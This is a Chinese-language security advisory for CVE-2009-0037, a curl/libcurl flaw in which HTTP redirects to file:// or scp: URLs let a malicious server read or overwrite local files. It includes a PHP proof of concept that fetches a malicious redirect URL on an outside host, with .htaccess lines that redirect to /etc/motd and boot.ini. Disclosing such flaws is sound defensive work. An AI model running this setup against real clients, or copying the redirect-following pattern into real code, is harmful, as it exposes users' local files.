当前位置: 代码迷 >> 综合 >> cURL/libcURL HTTP Location:重新定向绕过安全限制漏洞
  详细解决方案

cURL/libcURL HTTP Location:重新定向绕过安全限制漏洞

热度:38   发布时间:2024-01-09 10:15:05.0

发布日期:2009-03-03
更新日期:2009-03-04

受影响系统:

Daniel Stenberg curl 5.11 - 7.19.3

不受影响系统:

Daniel Stenberg curl 7.19.4

描述:


BUGTRAQID: 33962
CVE(CAN) ID: CVE-2009-0037

cURL是命令行传输文件工具,支持FTP、FTPS、HTTP、HTTPS、GOPHER、TELNET、DICT、FILE和LDAP。

跟随HTTP Location:的cURL会重新定向到scp:或file:// URL,因此如果用户点击了特制的重新定向URL的话(例如libcurl客户端读取RSS源),恶意的HTTP服务器就可以覆盖或泄露任意本地文件系统的内容,或执行任意命令。

<*来源:David Kierznowski

链接:http://secunia.com/advisories/34138/
http://marc.info/?l=full-disclosure&m=123608232412287&q=p5
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
// This is an example of a vulnerable peice of PHP code
// If libcurl uses CURLOPT_FOLLOWLOCATION it could lead
// to arbitrary file access.
// The malicious redirect on withdk.com looks like this
// in .htaccess:
// # for Linux
// redirect 302 /test file:///etc/motd
// # for Win32
// redirect 302 /test file:///c:/boot.ini
// print_r ( curl_version() );
$c = new cc;
$c->fetch('http://withdk.com/malicious-redirect');
class cc {
function fetch($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$result1 = curl_exec($ch);
echo $result1;
curl_close($ch);
}
}
?>

建议:


厂商补丁:

Daniel Stenberg
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://curl.haxx.se/download/curl-7.19.4.zip

  相关解决方案